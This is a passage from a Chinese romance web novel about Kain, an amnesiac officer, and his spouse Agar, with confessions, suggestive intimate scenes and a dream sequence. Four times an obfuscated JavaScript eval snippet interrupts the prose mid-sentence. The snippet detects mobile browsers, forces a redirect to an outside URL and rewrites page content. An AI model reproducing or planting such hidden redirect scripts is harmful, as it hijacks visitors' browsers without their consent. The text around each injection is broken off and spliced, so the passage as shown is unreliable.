阿加尔稍稍想象了一下,觉得小腹一时有点发紧。而凯恩的手还搁在他背后,一寸寸滑落到他那对分明的腰窝。 “当雌侍有什么好的?”凯恩又说。“当我的雌侍算什么很好的选择吗,我还要考虑会不会被你觊觎这个角色?” - 看起来凯恩对他自己的魅力有很大的误解。 阿加尔有一点诧异,但仔细一想似乎又是意料之中的事情。 成为雌侍当然算不上一件好事,甚至可以说前途暗淡毫无希望可言。 但在那个时候,成为凯恩的雌侍还有一重意义,是“成为凯恩身边唯一的雌虫”。 不过这个好像也没必要讲给凯恩听了。毕竟他已经是凯恩的雌君,再讨论什么雌侍的角色也没必要。 他吞咽了一下,才回答凯恩的话。“我能这么说,当然也是考虑过的。” - 凯恩一搭没一搭地按着他腰后的皮肤,手掌还残留了香草味的香气,气氛宁静,似乎也很适合说点看似调情的真心话。 “读书的时候,几乎什么都没有。想要拥有您也觉得配不上。……即使侥幸因为匹配度留在您身边,也不免心虚。” 阿加尔放任自己又滑入了某些幻想。 如果在学院里就成为凯恩的伴侣的话……大概只能尝试用身体留住他了。 但凯恩又并不对雌虫们的身体表现出什么兴趣。他只会把雌虫当成注定面对的对手,而不是值得欣赏把玩的对象。从这种意义上想,阿加尔觉得自己没办法留住他。 - 如果凯恩是看重那些的雄虫,阿加尔根本不可能为他心动,甚至考虑到这些现实问题。 但凯恩不看重那些……他又没有其他可以打动凯恩的东西。 在缺乏其他可能和凯恩建立联系的情况下,阿加尔只能选择通过和凯恩较劲来让凯恩注意到自己。 同级都知道阿加尔和凯恩水火不容。喜欢和雄虫较劲的雌虫也不能说完全没有,但像阿加尔这样持续的是唯一一个。 凯恩就是这样特别的雄虫,他也值得阿加尔持续的认真的对待。 并不是故意想和凯恩当死对头。 - “觉醒期……对您的心思就更不敢提了。” 阿加尔深深吸了口气,好像表白的话也难以启齿。 “不想让您觉得我图谋不轨,对我反感。您要是拒绝我……我连雌侍都当不上。” “毕竟您继续和我在学业上较劲,我知道您在看着我,心里多少有点指望。” 其实这些事情阿加尔猜测凯恩以前心里未必不知道,只是他们各自不提,算得上心照不宣。 但凯恩此刻失忆了,谈起这些好像有了某种意义上的缘由,比如“帮雄主回忆过去”之类,并不是单纯的直接坦白暗恋心思。 - 原来是被阿加尔暗恋已久,凯恩想。 他一时觉得有点好笑,但阿加尔就在身侧,伸手就能触碰到他,伸开手臂就能把他拥进怀里。也许是太过于习惯这种状态,他居然觉得这种暗恋是理所当然存在的。 那么,以前自己知道吗?凯恩又想。 也许有所猜测,但说出来就显得好自恋,所以也没有和阿加尔证实过。 直到阿加尔自己说出来。 - 阿加尔的思绪被凯恩的动作打断了。 “别遗憾。”凯恩勾了勾唇角。他主动贴近阿加尔,以便彼此感知到对方的体温。 “刚度过觉醒期的时候还小……什么都不懂。” 凯恩听起来好像在说感情,又像在说其他的东西。 - 分明应该是很熟悉的事情,阿加尔却又感到陌生的灼热,让他又焦躁又渴望,想得到更多,又说不出来到底想得到什么。 视线模糊片刻又清晰。雌虫呜咽了一声,脊背绷紧,小幅度颤了颤,虫纹泛出带着热度的金色。 凯恩近似于他的依靠。他放松身体,任由自己靠在凯恩怀里。 - “和觉醒期不一样。现在的我们能这么快乐。对不对?阿加尔。” 凯恩说话的时候叼住阿加尔的耳垂,顺应自己心意地来回咬了咬。 香草味的香气弥漫在四周。耳垂滚烫而柔软,和凯恩之前想象的一样。而阿加尔似乎感知颇为敏感,此刻轻轻抖动了一下,是无意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285860|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地在他面前示弱了。 - 其实现在也不能算是做到用身体留住他了,阿加尔有点遗憾地想。 毕竟凯恩想要的话,他当然可以拥有很多选择。更年轻的,身体线条更结实漂亮的,更会取悦他的,在物质条件或者享乐品味上和他更合得来的。 阿加尔在这些方面当然算不上差,但他也不敢说自己一定是独一无二的那个。 太想得到凯恩就是这样的。会担心会患得患失会持续觉得自己不够好。 “至少现在……不像那时候一样身无长物。” 阿加尔的声音似乎还含着点难言的沙哑。 “能取悦您是一方面。还有就是,也想尽可能把我能提供的都给您。” - “我选伴侣不看那些。”凯恩的否认和落在某处柔软上的脆响一样利索。 凯恩没想到阿加尔的观念竟然如此传统,信奉雌虫应当对雄虫奉上一切的那种类型。 他一直以为阿加尔是那种一边抗拒传统婚姻观念一边又不得不遵守的那种雌虫。毕竟他宁愿去雄保会也不向雄主求助。 没生气,也不是惩罚,只是顺手的提醒。 - “嗯。但我需要用那些您觉得是身外之物的物质条件或者虚名来向您证明自己。”阿加尔声音微微发哑。“毕竟我不是您挑选的伴侣。我只是靠自己……” 他说完“靠自己”又觉得不对,闭了下眼睛又睁开看凯恩。凯恩看起来不置可否,也不知道还有没有关于当初婚姻匹配的记忆。 “……我的意思是说,我一直担心成为您的伴侣会让您困扰。我希望我作为您的伴侣不比其他任何雌虫差。” - “不是我挑选的伴侣。”凯恩重复了一遍。 关于新婚的记忆在脑海里来回闪动,从支离破碎的画面连接成为一个完整的片段。凯恩露出了然的神情。 “不用想太多,阿加尔。”手掌抚上雌虫窄紧的腰侧,凯恩说得有点含糊,像是有点不好意思却还打算说出来。 “虽然之前没考虑过拥有伴侣……但被你挑选倒也不坏。” 这是一句分明的调侃。凯恩故意要这么说,显得好像自己处在弱势方。 “所以阿加尔上将。我是能让你满意的雄主吗?” 15. 15.推辞的话不用说了。 “肯定不满意。都皮肤饥渴症了,一定是我没有照顾好你。”凯恩故作遗憾地说。 “该怎么弥补你呢?阿加尔。”雄虫在他耳边低低地喘了一声。 “以后回家就把你绑、床、上。没填满的话不许下床了,怎么样?” - 阿加尔的脸腾一下烧起来,几乎从凯恩怀里挣脱出去。“雄主!” 他也说不清自己在那一刹那心里想的是什么。明明只是稍微幻想一下就让他浑身发软的场景,明明应该是他渴望沉浸其间的描述……第一反应居然是躲。 总是这样。他总是这样。 凯恩会觉得扫兴吗? - “不愿意啊……” 阿加尔似乎不动了,于是凯恩伸手过去为他掖了一下被角,安之若素地弯了弯眼睛,仿佛刚刚只是说了句很普通的话。 “都怪我,忘了太多东西。” “不是的雄主。”阿加尔闭上眼睛,喘了口气,语气坚决地否认了凯恩。“……我从来没有怪过您。” “我一直都愿意的。”他紧接着继续说。“只是我自己,想要您,又不敢说,才让您这样主动提——” - 其实这件事本质可以不需要和表白掺和在一起,只是互相为对方履行义务而已。以前凯恩不会对他这么亲昵暧昧,把一件履行伴侣义务的事情说得如此感情充沛。 也许……凯恩以前对他也抱有这样的想法,只是那个时候凯恩比较含蓄,并不想直接说出来。 雄虫在面对雌虫的时候当然不需要主动,大部分时候只要接受雌虫的主动,配合或者是点评几句也就够了。 阿加尔意识到自己实在太迟钝了。应该由他主动向凯恩提出这种邀请才对。 - 凯恩好像又在笑了。他总是因为类似的话题笑,好像面对阿加尔紧张的状态是件很有意思的事情。 其实阿加尔还有很多话想说。 但此刻再把时间花在说那些上,未免显得浪费。 他再次吻住了凯恩。 - …… 总之他们一起度过了灼热的大汗淋漓的几小时。 毕竟他们已婚,身体又足够契合,这么做简直是天经地义,也不会有外虫打扰。 - “再说一遍,嗯?”凯恩伸手扣着阿加尔的后脑,手指摩挲过那些散开的发丝,来回轻轻蹭动。“刚刚说过的。” “……雄主。”阿加尔的声音低而哑,仿佛还包含了某些难以直言的依赖。 “说呀?”凯恩催他。 - 阿加尔和凯恩对视,雄虫的眼睛漂亮得像宝石一样,此刻距离又是如此近,身体上似乎也还残留着那些愉悦的触感。阿加尔只觉得目眩。 “雄主。……”阿加尔又叫了一声,伸舌头飞快地舔了一下嘴唇。 刚刚不是还想好了,要把自己一切的渴望都对凯恩坦白吗……现在只是按凯恩的要求亲口说一遍而已。 “想要您。”阿加尔闭上眼睛。“深一点……重一点。” “没填满。还想要。想要更多……求您。” - 凯恩喜欢听阿加尔这样说。 倒不一定是要对他做点什么。也许更多的只是想要看他压抑隐忍又不得不对自己敞开心扉,想看他需要自己,渴望自己,软语恳求自己。 情之所至的时候什么都敢说。但现在一切都平静下来,他仍然对他的雄主这样。 而他的雄主正是凯恩自己。 “阿加尔。”凯恩抚摸他的背,指尖擦过那些边缘平滑线条流畅的虫纹。 他碰过,吻过,细细端详过很多次。 - “明天可以出院了吗?”凯恩抱着阿加尔,慢慢凑过去,用自己的额头去贴阿加尔的额头。 “在这里待着,对失忆好像也没有那么大帮助。” “跟你回家?” 阿加尔莫名从这句话里读出来了一点询问。 好像凯恩自动把他的动向归结为需要阿加尔决定的事情,而他只是提出建议并且等待许可。 “嗯……好。”阿加尔停顿片刻。 “监测显示极夜期里的电磁紊乱可能会稍微减轻一点,您可以联络主星。” - 他们还搂在一起,彼此紧贴,就莫名其妙地讨论起了工作事务。 凯恩觉得这一刻有点陌生,仿佛应该说点儿什么来破坏这种气氛。 “嗯。”他说。“那么,明天的治疗,要推迟吗?” - 其实所谓的皮肤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285861|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饥渴症的治疗对他来说算不上什么负担。他很喜欢看阿加尔被他触碰的时候露出的那种漂亮的表情。 充满力量感的身体,流畅而有爆发力的肌肉,那些用手指描摹过的、会因为触碰而微微发烫的虫纹。 他也不觉得工作会影响这件事。 但也许是因为阿加尔太顺从,他就忍不住想使坏。 都怪阿加尔。 - “条件允许的话,需要为您安排跃迁吗?”阿加尔问。 凯恩掀开眼皮,和阿加尔对视片刻。 这件事确实需要阿加尔负责,毕竟自己现在并不是休假期间,滞留在阿加尔的辖区好像也不是很妥当。 阿加尔当然也不是想赶他走,只是职责所在,不得不这么问而已。 “想留我?舍不得我了?”凯恩开口,直截了当地问出了这个问题。“怕我把你落下自己走了,让你的皮肤饥渴症越拖越严重?” - “不是……”阿加尔下意识反驳,又立刻咬了一下嘴唇。 他当然想留凯恩,但这件事并不是以他的意志为转移的。“工作和我,当然是——” 很难想象阿加尔会主动说这种话但他说得又是如此心甘情愿。可能他一直以来喜欢的就是这个样子的凯恩。他当然不可能因为留恋这种亲密而阻挡他离开自己身边。 “当然是雌君最重要。”凯恩立刻说。“我还在你身边,这件事当然不能拖。” - 阿加尔骤然松弛下来,自己都不知道到底是什么感觉。被看穿,被包容?或者只是单纯地把一切掌控的权力都交到了凯恩手里,他只需要听从,除此之外什么都不需要。 “您……我……” “推辞的话就不用说了。”凯恩的手掌在他背上来回摩挲,仿佛安抚什么应激状态下的小动物。阿加尔几乎能幻视那双手分明的指节。“说点好听的。” - 在他们还没有这种关系的时候,凯恩也会如此自然地说出这样的话吗? 阿加尔眼眶发热。 过去的事情已经记不清了。而现在,这声音就响在他的耳畔,吐息带着淡淡的体温。 “雄主。”阿加尔启唇,仿佛下定某种决心。 “我一定,尽我所能。……取悦您。” 16. 16.又不穿给我看。 “工作的事情明天再说吧。” 凯恩突然想起了自己刚苏醒的时候的念头。那个时候他就想这么做,但后来似乎又被其他事转移了注意力。“至于现在,能给我看看你的终端吗?” 阿加尔眨眨眼睛,对这个话题的转折不怎么明白,但行动胜于理智地先一步把卸掉的终端又捞回手边。 终端屏幕不知道碰到哪个快捷键,某些他们一起看过的花里胡哨的道具又跳出来。阿加尔犹豫一下,还是退出了界面。 “我之前看过吗?”凯恩问。 “没有。”阿加尔吸了口气,轻声回答。 一次都没有。他们的相处模式不是那种会靠在一起翻终端的类型。 毕竟他们身份特殊,彼此之间或多或少有需要保密的内容。凯恩一直主动避嫌,而他也不会提起这个。 “如果您想看的话……” - 阿加尔有点犹豫。 他们职级相同,有些东西按说是保密权限的,不能给凯恩看。 但他特意这么说的话凯恩肯定不高兴。他懂的东西凯恩都懂,这么说显得好像不信任他。 ……他莫名其妙想到了之前刚刚结婚的时候,他们在工作上闹的一点不愉快。 - 还没来得及等阿加尔说点什么,凯恩就拍了一下他的背,打断了他的思绪。 “我查你的信息记录干什么。”凯恩吐出一口气。“……别把我想的那么不讲道理。” “只是想看看你的购物记录。能给吗?” 毕竟他想要知道一些自己留在阿加尔生活中的痕迹。不光是身体方面的。 - 原来只是这样,阿加尔想。 凯恩不是那种会限制他消费或者把他工资全划走的雄虫。在财务方面他们彼此相对独立。他给凯恩绑定过自己的账户,但凯恩也没有动用过。 “嗯。”他应了一声,把账单调出来给凯恩看。 - 凯恩筛选账单,按分类查看。 关于食物,阿加尔的口味非常单一,从来不尝试新口味营养液,当然也可能是他想通过这种完全细节的重复来保证身体状况。 偶尔阿加尔会购入新鲜食材,那大概是他想在家里尝试烹饪。 阿加尔给他做过饭吗?记忆的断层里搜寻不到确切的画面。他已经忘记了。 - 下一个分类是衣物。阿加尔私服没那么多,某些小配饰也算在服装,比如一条刺绣繁复得有点浮夸的领带。 贴身衣物是纯色普通款,普通到几乎有点无趣。凯恩似乎笑了一下,阿加尔注视着他,有点无奈,自己也跟着牵动唇角。 “您不喜欢这种?” “又不穿给我看。”凯恩发出莫名其妙回答。 好糟糕的对话,阿加尔又想笑又觉得失语。其实凯恩未必真的那么想看这些,可能只是话赶话随口一说,为的是看阿加尔神情窘迫的样子。 “您想看的话,也可以。”阿加尔也回答得十分糟糕。 - 凯恩滑动一下界面,看到某个特殊的订单。 没有明确归类、金额却不低。黑色礼盒系着暗银色缎带,从包装上似乎看不出什么。 “收件方不是你啊,为什么?” 凯恩饶有兴致点击商品详情,往下滑动查看之前又顿住手指,先抬起头看了阿加尔一眼。“难道是给我的?可惜我都不记得了。” - “是的……这是我买过的,给您的礼物。”阿加尔嘴唇微动。 他看不出凯恩是询问还是调侃,所以只能老老实实回答。 他好像已经态度坦然了,但也许只是某种意义上的破罐子破摔。毕竟已经被看到最乏味、最私密、不希望让对方看到的角落,再多一处似乎也无所谓了。 “是用在我身上的。” 绿眼睛微微垂着,停顿片刻又抬起来,眼睛里似乎浮起一层很薄的水光。“因为我想要,借着那些东西取悦您。雄主。” - 凯恩笑了一下。 “我当时拒绝你了?”他似乎来了兴致,非要阿加尔说清楚。 更长一些的停顿。阿加尔像警觉的小动物一样,谨慎地观察凯恩的反应,好像在尝试以此调整自己的应对方式。 凯恩抬一下下巴,示意他继续说。 “是。”阿加尔简短地道。 - “为什么?”凯恩对这个话题很感兴趣似的。“你没有问我原因吗?” “——你不好奇吗?阿加尔。” “我不知道,雄主。”阿加尔深深吐出一口气,好像终于豁出去了。“我当时没有问您。” “因为向您求欢这件事对我来说已经非常……非常……” 凯恩收起了笑容,阿加尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285862|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心自己可能让他不高兴了,但话说一半也不能停下来,只能继续说下去。 “自作主张地对您做出这样的邀请,我已经感到很羞愧了。您拒绝我也是应该的。我不想继续追问您,好像一定要您给我什么回应一样。” - “这么客气,像雌君应该有的态度吗。” 凯恩伸手碰了一下他脸颊,阿加尔茫然地看他,但凯恩似乎也只是碰一下而已。“那再给我看看吧。” 凯恩觉得失忆带来的似乎也并非全然的麻烦。比如此刻他可以听到更多阿加尔的坦诚,听到某些也许他以前不在意或者是自以为了解实则并不清楚的细节。 而他可以如此理直气壮地凝视阿加尔,享受着这种凝视,等待对方在沉默中将自己一点点剥开。 - “……” 他听到阿加尔明显的吞咽声。 雌虫眨了一下眼睛,漂亮的绿眼睛里仿佛交织着什么难以探知的深刻情绪。 “您想怎么看。” - 这句话都不能算是一句暗示了,简直就是明示,尤其是在只有彼此的封闭空间里这么讲出来的一句。 凯恩又笑了出来。 “真没想到阿加尔是这么主动的雌虫。”他弯着眼睛,伸手牵住阿加尔的手,和他十指相扣。“不愧是……最擅长捕捉机会,一击命中的阿加尔上将……” 类似的话阿加尔听过很多。凯恩自己大概也说过。原本应该是正经的赞美。 但凯恩此刻说得柔软而缠绵,距离也越来越近,直到最后在阿加尔耳畔停顿下来。 阿加尔能感觉到清晰的吐息。他绷紧身体,克制住移动身体的冲动,屏息等待着雄虫的下一步动作。而凯恩突然凑近,飞快地舔了一下他的耳垂,又迅速地退回了安全距离。 - “向你道歉,我的雌君。”凯恩故意很正式地说着,语气诚恳,仿佛和他在工作会议上相见。“不应该随便拒绝你精心挑选的礼物。” 阿加尔意识到了什么。他挺起脊背,绷起脸,仿佛也准备应对“凯恩上将”的工作辞令。 “那么,请你给我一个……反悔的机会,好不好?” 凯恩姿态优雅地竖起一根食指,按在自己的唇上。 “去找出来。” “给我看。” “你能做到吗?阿加尔。” - 17. 17.全部重做! 阿加尔睁开眼睛,意识到自己正站在凯恩的办公室门外。名牌上的名字是花体字,笔画末端弯曲着打卷。 淡淡的香草气息萦绕在他身边,这让他有种被雄虫接纳的舒适感。 他抬起手,还没推门,突然听到了凯恩的声音。 - 凯恩在工作中居然没有完全关上门。大概是身在梦中的原因,他门正是虚虚掩着的状态,还留了条缝隙。 以阿加尔这种高等级雌虫的听觉,不需要刻意听就能听到。 其实这时候阿加尔应当抬手敲一下门,至少提示一下里面的雄虫自己的存在。但阿加尔莫名屏住了呼吸。 他们见得最多的就是彼此在会议桌上分坐两端的样子,穿得笔挺,神情冷峻,用那种公事公办的语气发言或者吵嘴。 这种在办公室对下属训话的场面……他见过吗? 凯恩想让他看见吗? 就算不想也要看,谁让他不关门。 阿加尔放任了自己这点心思。 - “嗯,至少格式很标准。” 凯恩的声音从门里传来,听起来冷冰冰的,夸奖也夸得没有让虫高兴的感觉。 “这句写得也不错。” 阿加尔仿佛听到翻动资料的声音。 “这个引用很精妙。” 门外门内,似乎都随着这罕见的肯定悄悄松了半口气。 听起来似乎是渐入佳境,阿加尔不由得跟着那个被训的倒霉鬼一起放松下来。 “好了。”大概是终于翻到底,一声资料被轻飘飘搁在桌面上的声音。“除了上面说的三个地方以外全部重新写过。” - 阿加尔忍不住笑出声来,打断了这场训话。 手指叩响虚掩的门,阿加尔一步踏入,倚在门口,歪着头看向办公室里的场景。“说完了吗?” “……”被上司训一顿之后又被上司的伴侣堵在门口,一副看起来就像要兴师问罪的样子,这个倒霉的雌虫看起来满脸都是想死的样子。 “嗯。”凯恩面对伴侣一副从容自若的样子。他把那叠倒霉的纸拿回手里,指尖轻轻拢了一下对齐,然后递回给下属。“你还有疑问吗?” “报……报告上将,没有了。”下属被诡异的气氛吓得磕巴了一下。 “嗯,去改吧。”凯恩示意了一下。 他只是稍稍用下巴摆了一下,而目光则紧盯着门口的阿加尔,仿佛此刻这个下属就已经不存在了似的。 - 凯恩没有明说,但那姿态里毫不掩饰的“立刻消失在我面前”的意味,混合着之前积压的恐惧和迫切想要逃离这尴尬气氛的冲动,压倒了一切理智和常识。 “是!阁下!” 一声短促到变调的应答。 下一秒,只听“哗啦”一声爆响,折叠窗被猛地拉开!凯恩还没来得及说什么,下属已经一跃而起,翅翼还没完全展开就瞬间夺窗而出! - 办公室内重新恢复了寂静。 阿加尔的目光从还在轻轻颤动的窗户上收回,转向办公桌后的凯恩。而凯恩从容地走过去,抬起手,合拢了那半扇被强行打开的窗户。 雌虫的身体强度当然可以直接走窗,但这仍然还是太过好笑的场景……就像阿加尔真的很介意他们独处,他不得不从这里逃走一样。 他有点想笑,又觉得此刻好像不太合适笑,但和神情淡然仿佛这一切都很正常的凯恩对视过后,他还是忍不住大笑起来。 “凯恩上将积威至此,真是让我大开眼界啊——” - “什么意思,阿加尔上将好像对我很好奇啊?” 凯恩轻柔地问他。 这语调颇为熟悉,感觉下一句就要被阴阳怪气几句。但阿加尔对这个你来我往的氛围十分之熟悉,也并不觉得有什么不舒服。 他坦然地回看凯恩。“不行吗?雄主。” - 称呼一出来凯恩就脸红了,仿佛只是称呼就带来了什么别有意味的暗示。 是的,他们已经缔结了婚姻关系。雌虫想要探究自己的雄虫,想了解他更多,想见到他不同的样子都是再正常不过的事情。 阿加尔不说话,凯恩就抬起手,慢条斯理摘掉手上的手套。手套和制服搭配,衬得手指格外纤长,脱下来的时候简直就像脱衣服一样有种说不出的色气。 “别怕,你和他不一样。”凯恩随手把手套扔到一边,曲起手指,抬手架住了阿加尔的下巴。 “你乖一点。我不骂你,我会很温柔的。” - 想叼回来,阿加尔想。属于雄虫的贴身小物品,会被雌虫偷偷拿走收起来简直是理所当然的。 不过这个片段如同闪电一样一闪即逝,他也没有打断凯恩的动作扫兴。 凯恩的手指轻轻端着阿加尔的下巴,力度很轻,感觉下一秒马上就要偏头吻上来的样子。 被雄虫这么说了,哪个雌虫能忍住? 反正阿加尔不行。 - 额头上的触感一触即分。阿加尔觉得自己满心柔软,几乎要发出被爱抚之后的呜咽声。 “啊……这样就结束了?” 凯恩似乎有点不满。 “对你的雄主太不主动了啊,阿加尔。” 手指点了点自己的嘴唇,他看着阿加尔笑。“我不满意。你重新来过。” - 这“重新来过”句式跟他刚刚训下属的几乎一模一样。但他面对阿加尔的时候完全放弃了那种冰冷无情的语气,导致这句说得毫无威慑力。 雄主对自己撒娇吗,那很诱虫了。 阿加尔点点头。“对不起上将,我这就重新来。” 他十分敷衍地对凯恩行了个礼,然后一把搂住对方的腰,低头用力吻上那两片柔软的嘴唇。 - 凯恩很顺从,把所有主动权完全给了阿加尔。 于是阿加尔更加恣意妄为起来。 凯恩“重新来过”了三次,而阿加尔每次都听从了他的指令。他们抱在一起,亲到阿加尔嘴唇发麻,不得不在终于分开的时候抬手捂嘴。 - “在这里可以吗?”阿加尔捂着自己的嘴,声音微微发哑说。 “您没说不行就是可以。”他望着凯恩,退了一步,气氛似乎变得浓稠而灼热。 “我去锁门。” 凯恩望着他笑。“但是我的办公室门没有锁。” 阿加尔很疑惑,怎么会有办公室的门上不带锁,那是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285863|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么设计。“啊?” “这儿也没什么机密,文件密钥什么的都随身带了。”凯恩指了指自己的终端。 “我毕竟是个已婚雄虫,这么小的空间和下属锁着门在里面,像话吗?” 这说的是什么话。 阿加尔觉得有点好笑,雄虫就算想在办公室里做点什么也不算很大的错误才对。但凯恩看起来又有点认真。 “好吧!但我又不是你的下属,凯恩阁下。” - “哦,不是下属。所以阿加尔上将打算在这里做点儿什么呢?” 凯恩伸手拍了拍阿加尔的领口,手掌摊开,慢慢拂过他胸口,类似于若有若无地摸了一把他的胸肌。 “这里可是我的地盘。”他稍稍抬了抬下巴,一副一切尽在掌握之中的骄傲样子。 阿加尔真喜欢看他这样。锋利的高高在上的,面对一切都是睥睨的,就像某种昂贵的宝石,理直气壮展示自己耀眼的那一面。 “你想在这里,惹是生非吗?” - 亲都亲半天了又这样说,好坏的雄虫阁下。 “才没有。才不是。” 阿加尔觉得自己好像也变得幼稚了。毕竟从他认识凯恩开始,他就没有过这种语言习惯,仿佛任性的不服管教的幼崽。 “我来找我的雄主,请求他的疼爱啊。” 在此之前,阿加尔万万想不到这种话也能从自己口中脱口而出。 但说出来他也不觉得有什么不对的,反而还很期待。 - 凯恩胸口起伏,眼睛似乎也湿漉漉的,就这样抬着眼睛看阿加尔。 阿加尔不知道的是在凯恩眼里自己也不遑多让。长发束在脑后整整齐齐,发丝因为光线原因似乎泛着漂亮的金光,一双绿眼睛仿佛有水洗过,眼尾微微湿红。是兴奋吗,还是被过于热烈的吻欺负得要掉眼泪的样子? 实在是让雄虫想对他做点什么过分的事情,然后再看这双漂亮的眼睛掉眼泪,或者只是这样蒙着水雾、可怜地凝视着自己。 - 因为是梦境中,阿加尔完全跟随了自己的想法,丢掉了所有理智的克制。 他捉住凯恩的手掌,和他十指紧扣。 而凯恩像什么毛绒小动物一样睁着眼睛看他。雄虫手指微微曲起,没被抓住的手还保持了那种揣着的动作,看起来就像完全看不懂他的撩拨。 那可不行。 在刚刚的亲吻里揉得很混乱的衣襟被阿加尔自己主动挑开了,然后雄虫的手掌被他展开按平,最后在小腹上压实。 就这样半强迫地让凯恩和自己肌肤相贴。 “来,就在这儿。” 雌虫生涩地邀请自己的雄主。他暗示性地偏头,示意让凯恩看身后。办公室的门掩上了,但毕竟没有锁,任何想要找凯恩有事的雌虫都可以推门而入。 “您可以把我按在门上。我会抵着门,没有其他虫能推开的。所以没有锁也没关系。” 他为凯恩描述自己的想法,压住自己声调里的兴奋,努力让声线保持平稳。 红晕涌上脸颊,阿加尔的眼睛亮晶晶的,胸口起伏。 “您只要……动作轻一点,就不会发出声音被听到了。” “来吧,雄主。” 18. 18.压到我头发了。 “挪开点儿。”凯恩对阿加尔说的第一句就是这个。 “雄主……”阿加尔犹豫着撑起身体,小心地往旁边挪了挪,大概是足够强的核心力量帮他维持住了挂在床边的状态。 “压到我头发了。”凯恩语气冷淡地说。 - 他们俩都留着长发。睡在一起的时候长发披散着搅在一起,阿加尔小心翼翼抬起头,抓住自己的头发勉强收了收。 现在应该起床才对。 但是又多少有点舍不得和凯恩这样靠在一起的感觉。 所以也只能装作看不懂凯恩不大满意的神情。 - “如果你再乱来,我要给你带颈环了阿加尔。”凯恩欲言又止片刻后,说。 他伸过手,碰到雌虫光裸的上半身,丝毫没有一点凭恃。于是他摸索着一路碰到阿加尔的腰侧,顺着往自己的方向带了一下,示意他靠自己近一点。 其实“颈环”也是一句仍然没什么力度的威胁。没有生产厂家会针对阿加尔这种极高等级雌虫的精神力做限制。而凯恩也舍不得对阿加尔做什么让他疼痛的事情。 凯恩没这么说过,不过他怀疑阿加尔可能知道这一点,所以才这么得寸进尺。 - “啊?”阿加尔状若无辜。“雄主不喜欢吗?” 试了下不锁门的办公室而已。阿加尔一点也不介意有其他虫知道自己和雄主在做什么。 而且根本就不是真的。 雄主道德水平未免太高。 - 喜欢是喜欢的,但凯恩恰恰不想让阿加尔知道自己喜欢。所以他表现得有点恼怒,也不想讲道理。 “或许这正是你想要的。”凯恩瞥他一眼。 “身为雄虫我就是很需要谨言慎行,才不会被当成是来混资历的。你想象不出吧?” 谈这种正经的时候就不能再黏糊糊了,阿加尔收敛了神情,摸索着伸手过去环住了凯恩。 “我知道。抱歉。”他说得很轻,刻意垂下眼睛,显得好像被凶了之后很沮丧的什么小动物。 “只是……想想而已。” - 或许解读一下这个梦境也可以解读出很多东西,比如凯恩实际上对工作很焦虑而阿加尔则是想要更亲密的接触和更大的纵容。但凯恩现在也不想想那么多了。 他靠近阿加尔怀里。 “你是不是之前太压抑了所以才会皮肤饥渴症。”雄虫的声音带着细微的气流打在他耳畔,“以后不用那么压抑。” “当然办公室还是不可以。” “也不会给你戴颈环。”他好像做出什么缠绵的保证,故意把这句话拉得很长。“但我有我的惩罚方式,知道吗?” - 如果说梦境是潜意识的反应,那么阿加尔野心勃勃地想拿走他们之间的主导权也很正常。 只是凯恩身为雄虫而当上上将,当然也不缺那种想要主导一切的意念。 “嗯。”阿加尔稍稍拢了拢他自己的头发。睡在一起的时候长发披散,很容易互相混在一起压住彼此。他小心翼翼挪开了一点,免得又不小心压住凯恩。 “想要拥有您,也想要被您控制。这种面对自己的雄主才会有的心情应该是很合理的吧?” “您会因为这个惩罚我吗?” - “上次您说的礼盒在家里。”阿加尔转移了话题。“本来想再买一个的,但当时那个是限量款的,没买到。” 凯恩意识到阿加尔说的“家里”是他们婚后的住宅。其实当时布置也颇费心思,但阿加尔驻极夜星系之后他们也不太在家里有亲密接触。 “没关系,回去再说吧。”凯恩并不介意这个,“不要把它当成我布置给你的任务。” - “虽然雌君最重要,但也不能完全不工作。”凯恩开口,轻轻按了一下阿加尔富有弹性的胸肌。 看似把他推开,实际上根本就是揉了一下这个漂亮的部位。 不过阿加尔也不是很在意这种短暂的触碰。 “嗯。”阿加尔很正经地说。“副官早就想来见你,是我没让。” “?”凯恩换了一副谴责的表情。“管到我这里来了,阿加尔上将管这么多?” 